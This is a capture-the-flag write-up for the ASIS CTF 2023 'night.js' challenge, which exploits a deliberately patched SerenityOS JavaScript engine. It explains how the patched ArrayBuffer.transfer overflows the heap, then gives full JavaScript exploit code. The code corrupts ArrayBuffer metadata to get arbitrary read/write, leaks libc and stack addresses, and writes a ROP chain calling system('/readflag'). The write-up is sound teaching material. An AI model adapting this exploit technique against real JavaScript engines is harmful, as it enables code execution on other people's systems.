Post

ASIS CTF 2023 night.js Write-Up

night.js - ASIS CTF 2023 - Pwn - 11 Solves

Initial Analysis

night.js was a pwnable challenge from this year’s ASIS CTF. Downloading the challenge files showed that this challenge involved serenityJS, part of the open-source Serenity OS. I have never worked with this JS engine before, so the most difficult part of the challenge was figuring out exploit techniques that would work. The binary was also hardened, as it was compiled with full RELRO, canaries, and NX protections. Additionally, there was no simple way to print information to the console, so it was difficult to debug any issues on the remote server.

The challenge introduced some small patches to 1) prevent cheese solutions and disable printing, as well as 2) introduce an overflow in one of the ArrayBuffer operations. I checked for cheese solutions, since other JS engine challs have had them before, but was unable to find anything particularly useful. Therefore, the only meaningul patch to look at was the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
diff --git a/./AK/ByteBuffer.h b/../patched-serenity/AK/ByteBuffer.h
index e2fc73bbfe..7bb7903e80 100644
--- a/./AK/ByteBuffer.h
+++ b/../patched-serenity/AK/ByteBuffer.h
@@ -104,7 +104,7 @@ public:
 
     [[nodiscard]] u8& operator[](size_t i)
     {
-        VERIFY(i < m_size);
+        // VERIFY(i < m_size);
         return data()[i];
     }
 
diff --git a/./Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp b/../patched-serenity/Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
index 2f65f7b6ca..ee9a1ca00f 100644
--- a/./Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
+++ b/../patched-serenity/Userland/Libraries/LibJS/Runtime/ArrayBuffer.cpp
@@ -80,10 +80,10 @@ void copy_data_block_bytes(ByteBuffer& to_block, u64 to_index, ByteBuffer const&
     VERIFY(from_index + count <= from_size);
 
     // 4. Let toSize be the number of bytes in toBlock.
-    auto to_size = to_block.size();
+    // auto to_size = to_block.size();
 
     // 5. Assert: toIndex + count ≤ toSize.
-    VERIFY(to_index + count <= to_size);
+    // VERIFY(to_index + count <= to_size);
 
     // 6. Repeat, while count > 0,
     while (count > 0) {
@@ -215,6 +215,7 @@ ThrowCompletionOr<ArrayBuffer*> array_buffer_copy_and_detach(VM& vm, ArrayBuffer
 
     // 10. Let copyLength be min(newByteLength, arrayBuffer.[[ArrayBufferByteLength]]).
     auto copy_length = min(new_byte_length, array_buffer.byte_length());
+    if(array_buffer.byte_length() > 0x100) copy_length = array_buffer.byte_length();
 
     // 11. Let fromBlock be arrayBuffer.[[ArrayBufferData]].
     // 12. Let toBlock be newBuffer.[[ArrayBufferData]].

It also helps to get a little more context by looking at the GitHub source.

The Vulnerability

The patch is very small, and mostly gets rid of sanity checks. However, it does add one line that changes the logic of copying bytes between ArrayBuffers in the array_buffer_copy_and_detach() function. Looking at this entire function we see that array_buffer will be the source of the copy and new_buffer will be the destination. new_buffer’s size is based on the new_byte_length variable. Originally, the copy_length that would be used to determine how many bytes get put into new_buffer was the smaller value of new_byte_length and the length of array_buffer. The patch makes it so that if array_buffer is big enough, we will copy that entire array into new_buffer, even if this is larger than new_byte_length.

This function has a link in the header to the EcmaScript standard, which shows exactly the JS function implemented by this C++. Looking at ArrayBuffer.prototype.transfer in JavaScript we see that we can take an ArrayBuffer and create a new buffer. Additionally we can specify the number of bytes as an argument. So it seems as though the arguments to this function are the initial ArrayBuffer and the argument specifying the number of bytes to transfer to the receiver. In order to trigger the vulnerability we will need to allocate an ArrayBuffer greater than 256 bytes and then call transfer() with some argument smaller than 256 bytes. This should allocate a new ArrayBuffer with a backing store that is relatively small, and then try to copy in the larger ArrayBuffer.

crash.png

The Exploit

Our initial primitive is a heap overflow, and the goal is to run the /readflag binary or get a shell somehow. Some limitations are the security protections mentioned before, as well as ASLR and PIE, making it necessary to leak various addresses. Because I had never worked with this JS engine before, I needed to spend some time looking for useful primitives that I could use for arbitrary read/write. However, as I was already working with ArrayBuffers, it seemed to make sense to examine this data structure.

heap.png

This image shows the heap after creating 2 ArrayBuffer objects. Each object is allocated 0x80 bytes on the heap. I created these objects with the first one being size 0x200, and the second with size 0x20. Here, I made some observations. First, the size of the ArrayBuffer is stored at offset 0x60 in both. Second, the larger buffer has an external heap pointer, while the smaller allocation appears to be stored in-object. Lastly, there is a flag set in the second second object, perhaps to indicate that the buffer is stored within the object.

In order to create arbitrary read/write, my plan was to corrupt an ArrayBuffer object, and set its backing store pointer to an arbitrary address. In order to get there, I formulated the following strategy:

  1. Create an initial ArrayBuffer (sendBuffer) with size > 0x100. This will be used to overwrite an ArrayBuffer’s metadata, so we will fake certain values such as the backing store length and in-object storage flag.
  2. Call ArrayBuffer.prototype.transfer() with size 0x20 so that the target ArrayBuffer (recvBuffer) will use an in-object buffer. Only 0x20 bytes will be allocated in the buffer, but the size for sendBuffer will be used to determine the copy length. We can use this to overwrite the size of recvBuffer to an arbitrary value, since this value is stored on the heap just after the destination buffer of the copy. We will keep the “in-object” flag set, so that future read/write operations on this buffer will be relative to the in-object buffer.
  3. Create a new ArrayBuffer that will be allocated on the heap just after recvBuffer. This new buffer (victimBuffer) will need to be large enough to create an external backing store that we can later overwrite.
  4. Since recvBuffer now has a corrupted length, we can write out of the bounds of its buffer on the heap. We know the offset to the backing store of victimBuffer since it will be allocated just after recvBuffer. Once we overwrite this, we can use a DataView on victimBuffer for arbitrary read/write.

The code to achieve arbitrary read/write looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// create a buffer that contains a fake ArrayBuffer object
sendBuffer = new ArrayBuffer(0x200);
view = new DataView(sendBuffer);
view.setUint32(0x20, 0x400, true);
view.setUint32(0x28, 0x1, true);
view.setUint32(0x30, 0x1, true);
view.setUint32(0x3c, 0x7ffe0000, true);

// trigger the bug to overwrite a 32 byte buffer with the fake ArrayBuffer object
recvBuffer = sendBuffer.transfer(32); // size of recvBuffer starts as 0x20, but becomes 0x400 after transfer is complete

// create a victim ArrayBuffer object that will be used to read/write arbitrary memory
victimBuffer = new ArrayBuffer(0x200);

// recvBuffer has a corrupted length, which can be used to overwrite victimBuffer's metadata
recvView = new DataView(recvBuffer);
backing_store_addr = recvView.getBigUint64(0x80, true); // victim backing store address

There are stack and libc addresses found on the heap near the victimBuffer backing store, and they can be found by slowly adjusting the backing store location up the heap. At this point, the challenge becomes a typical linux pwn challenge. Since we had libc/stack leaks via the arbitrary read, my idea was to call system("/readflag") using some rop gadgets. This meant I needed to calculate the address of system as well as a pop rdi gadget in libc. This was easy since the heap had consistent pointers to the code for constructing ArrayBuffers in libc. However, I did actually wind up needing to read the text section of libc in order to confirm that I had the right address and improve stability of the exploit. Then I needed to write these gadgets to the stack. Again, I read from the stack in a loop until I found the frame generated by the initial call to main(). Here I wrote my 2 gadgets and pointer to “//read*\0” (an easy 8 byte string that worked well enough for calling /readflag on the target). On cleanup the rop chain executes and prints the flag.

Full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// create a buffer that contains fake ArrayBuffer object
sendBuffer = new ArrayBuffer(0x200);
view = new DataView(sendBuffer);
view.setUint32(0x20, 0x400, true);
view.setUint32(0x28, 0x1, true);
view.setUint32(0x30, 0x1, true);
view.setUint32(0x3c, 0x7ffe0000, true);

// trigger the bug to overwrite a 32 byte buffer with the fake ArrayBuffer object
tempBuffer = new ArrayBuffer(32);
recvBuffer = sendBuffer.transfer(32);

// create a victim ArrayBuffer object that will be used to read/write arbitrary memory
victimBuffer = new ArrayBuffer(0x200);

// recvBuffer has a corrupted length, which can be used to overwrite victimBuffer's metadata
recvView = new DataView(recvBuffer);
backing_store_addr = recvView.getBigUint64(0x80, true); // victim backing store addr
recvView.setUint32(0x60, 0x42424242, true);
recvView.setUint32(0x64, 0x43434343, true);
recvView.setUint32(0x68, 0x44444444, true);

// helpful for debugging
victimView = new DataView(victimBuffer);
victimView.setBigUint64(0x58, 0x404040404040n, true);

// move victimBuffer's backing store until we find a stack address
current = backing_store_addr;
while ((victimView.getUint32(4, true) >> 4) != 0x00007ff || (victimView.getUint32(0, true) >> 8) == 0) {
	current += 4n;
	recvView.setBigUint64(0x80, current, true);
}
stack_addr = victimView.getBigUint64(0, true);

// move victimBuffer's backing store until we find a libc address
current = backing_store_addr;
while (victimView.getUint32(0, true) != 0x42424242 || victimView.getUint32(4, true) != 0x43434343 || victimView.getUint32(8, true) != 0x44444444) {
	current += 4n;
	recvView.setBigUint64(0x80, current, true);
}
recvView.setBigUint64(0x80, current - 0x20, true);
libc = recvView.getBigUint64(0, true) - 0x1be7da8n;
system = libc + 0xfa3230n - 0x474n - 12n + 2n;

// search libc for system preamble (this was added because libc didn't seem to match up on remote)
current = system - 0x1000n;
recvView.setBigUint64(0x80, current, true);
while (victimView.getBigUint64(0, true) != 0x49544100000001ban) {
    current += 8n;
    recvView.setBigUint64(0x80, current, true);
}
if (victimView.getBigUint64(0, true) != 0x49544100000001ban) {
    victimView;
    quit;
}
system = current;

// find return to libc on stack
pop_rdi = libc + 0x1b02544n;
current = stack_addr & 0xfffffffffffff000n;
end_stack = libc + 0x16b6753n;
recvView.setBigUint64(0x80, current, true);
while (victimView.getBigUint64(0, true) != end_stack) {
	current += 0x8n;
	recvView.setBigUint64(0x80, current, true);
}

// overwrite stack with rop chain
recvView.setBigUint64(0x80, current + 0x240n, true);
victimView.setBigUint64(0x0, 11932318498434863n, true); // "//read*\0"
recvView.setBigUint64(0x80, current + 16n, true);
victimView.setBigUint64(0x0, system, true);
recvView.setBigUint64(0x80, current + 8n, true);
victimView.setBigUint64(0x0, current + 0x240n, true);
recvView.setBigUint64(0x80, current, true);
victimView.setBigUint64(0x0, pop_rdi, true);
This post is licensed under CC BY 4.0 by the author.